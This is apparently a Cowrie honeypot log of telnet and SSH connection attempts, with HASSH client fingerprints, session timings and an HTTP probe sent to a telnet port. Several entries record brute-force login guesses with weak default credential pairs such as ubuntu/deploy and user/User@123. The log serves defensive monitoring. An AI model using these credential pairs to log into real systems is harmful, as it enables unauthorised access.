{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47514,"dst_ip":"10.17.0.5","dst_port":23,"session":"30690b2da941","protocol":"telnet","message":"New connection: 104.245.105.2:47514 (10.17.0.5:23) [session: 30690b2da941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:13.810772Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44094,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf8d968a1d4b","protocol":"telnet","message":"New connection: 104.245.105.2:44094 (10.17.0.5:23) [session: bf8d968a1d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:26.896028Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":55188,"dst_ip":"10.17.0.5","dst_port":22,"session":"132f841b8313","protocol":"ssh","message":"New connection: 61.222.211.114:55188 (10.17.0.5:22) [session: 132f841b8313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:43.016365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:43.021413Z","src_ip":"61.222.211.114","session":"132f841b8313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:43.226118Z","src_ip":"61.222.211.114","session":"132f841b8313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"11111","message":"login attempt [git/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:44.074539Z","src_ip":"61.222.211.114","session":"132f841b8313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.21387577056885,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:44.730519Z","src_ip":"104.245.105.2","session":"0a74fbb952df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:45.281461Z","src_ip":"61.222.211.114","session":"132f841b8313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.72777509689331,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:45.538450Z","src_ip":"104.245.105.2","session":"30690b2da941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109485387802124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:58.005374Z","src_ip":"104.245.105.2","session":"bf8d968a1d4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56620,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3b1241bd1bc","protocol":"telnet","message":"New connection: 104.245.105.2:56620 (10.17.0.5:23) [session: c3b1241bd1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:11:24.884706Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.48.197.219","src_port":43156,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd4e1955329","protocol":"telnet","message":"New connection: 103.48.197.219:43156 (10.17.0.5:23) [session: 0fd4e1955329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:11:38.581214Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":51458,"dst_ip":"10.17.0.5","dst_port":22,"session":"04e4efded057","protocol":"ssh","message":"New connection: 61.222.211.114:51458 (10.17.0.5:22) [session: 04e4efded057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:11:40.376750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:11:40.381149Z","src_ip":"61.222.211.114","session":"04e4efded057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:11:40.591899Z","src_ip":"61.222.211.114","session":"04e4efded057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"deploy","message":"login attempt [ubuntu/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:11:41.470683Z","src_ip":"61.222.211.114","session":"04e4efded057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:11:42.685097Z","src_ip":"61.222.211.114","session":"04e4efded057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.705831527709961,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:11:51.286918Z","src_ip":"103.48.197.219","session":"0fd4e1955329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21950626373291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:11:55.104082Z","src_ip":"104.245.105.2","session":"c3b1241bd1bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.108","src_port":29986,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a97f6d9b139","protocol":"telnet","message":"New connection: 65.49.1.108:29986 (10.17.0.5:23) [session: 2a97f6d9b139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:08.454237Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:08.459665Z","src_ip":"65.49.1.108","session":"2a97f6d9b139","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:08.463508Z","src_ip":"65.49.1.108","session":"2a97f6d9b139","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:08.468562Z","src_ip":"65.49.1.108","session":"2a97f6d9b139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09112954139709473,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:08.545235Z","src_ip":"65.49.1.108","session":"2a97f6d9b139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.179.61.41","src_port":51705,"dst_ip":"159.203.135.109","dst_port":23,"session":"28bb688e937c","protocol":"telnet","message":"New connection: 95.179.61.41:51705 (159.203.135.109:23) [session: 28bb688e937c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:11.599552Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":54894,"dst_ip":"10.17.0.5","dst_port":22,"session":"70f2d3a5e9a1","protocol":"ssh","message":"New connection: 61.222.211.114:54894 (10.17.0.5:22) [session: 70f2d3a5e9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:33.855833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:33.859947Z","src_ip":"61.222.211.114","session":"70f2d3a5e9a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:34.070583Z","src_ip":"61.222.211.114","session":"70f2d3a5e9a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"User@123","message":"login attempt [user/User@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:34.948105Z","src_ip":"61.222.211.114","session":"70f2d3a5e9a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:36.162946Z","src_ip":"61.222.211.114","session":"70f2d3a5e9a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35690,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e0b4bb1a56","protocol":"telnet","message":"New connection: 104.245.105.2:35690 (10.17.0.5:23) [session: 39e0b4bb1a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:42.043828Z"}
{"eventid":"cowrie.session.closed","duration":32.455631494522095,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:12:44.055059Z","src_ip":"95.179.61.41","session":"28bb688e937c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42392,"dst_ip":"10.17.0.5","dst_port":23,"session":"5414356488a6","protocol":"telnet","message":"New connection: 104.245.105.2:42392 (10.17.0.5:23) [session: 5414356488a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:13.617512Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56202,"dst_ip":"10.17.0.5","dst_port":22,"session":"e07a51c20b5a","protocol":"ssh","message":"New connection: 194.59.206.2:56202 (10.17.0.5:22) [session: e07a51c20b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:19.150166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:19.154673Z","src_ip":"194.59.206.2","session":"e07a51c20b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:19.236178Z","src_ip":"194.59.206.2","session":"e07a51c20b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:19.321203Z","src_ip":"194.59.206.2","session":"e07a51c20b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.868881702423096,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:24.912586Z","src_ip":"104.245.105.2","session":"39e0b4bb1a56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.181.177.252","src_port":57006,"dst_ip":"159.203.135.109","dst_port":23,"session":"23940fb7e08f","protocol":"telnet","message":"New connection: 187.181.177.252:57006 (159.203.135.109:23) [session: 23940fb7e08f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:25.451480Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":54852,"dst_ip":"10.17.0.5","dst_port":22,"session":"658276a0a1ad","protocol":"ssh","message":"New connection: 61.222.211.114:54852 (10.17.0.5:22) [session: 658276a0a1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:27.265704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:27.269958Z","src_ip":"61.222.211.114","session":"658276a0a1ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:27.473398Z","src_ip":"61.222.211.114","session":"658276a0a1ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#2025","message":"login attempt [ubuntu/ubuntu#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:28.320072Z","src_ip":"61.222.211.114","session":"658276a0a1ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:29.525891Z","src_ip":"61.222.211.114","session":"658276a0a1ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.17228126525879,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:13:48.789671Z","src_ip":"104.245.105.2","session":"5414356488a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57320,"dst_ip":"10.17.0.5","dst_port":23,"session":"626b18656133","protocol":"telnet","message":"New connection: 104.245.105.2:57320 (10.17.0.5:23) [session: 626b18656133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:14:08.334637Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":41300,"dst_ip":"10.17.0.5","dst_port":22,"session":"2251b6470ae4","protocol":"ssh","message":"New connection: 61.222.211.114:41300 (10.17.0.5:22) [session: 2251b6470ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:14:21.323579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:14:21.328275Z","src_ip":"61.222.211.114","session":"2251b6470ae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:14:21.531272Z","src_ip":"61.222.211.114","session":"2251b6470ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:14:22.377357Z","src_ip":"61.222.211.114","session":"2251b6470ae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:14:23.584056Z","src_ip":"61.222.211.114","session":"2251b6470ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53054,"dst_ip":"10.17.0.5","dst_port":23,"session":"0878c4ceb1ff","protocol":"telnet","message":"New connection: 104.245.105.2:53054 (10.17.0.5:23) [session: 0878c4ceb1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:14:31.715884Z"}
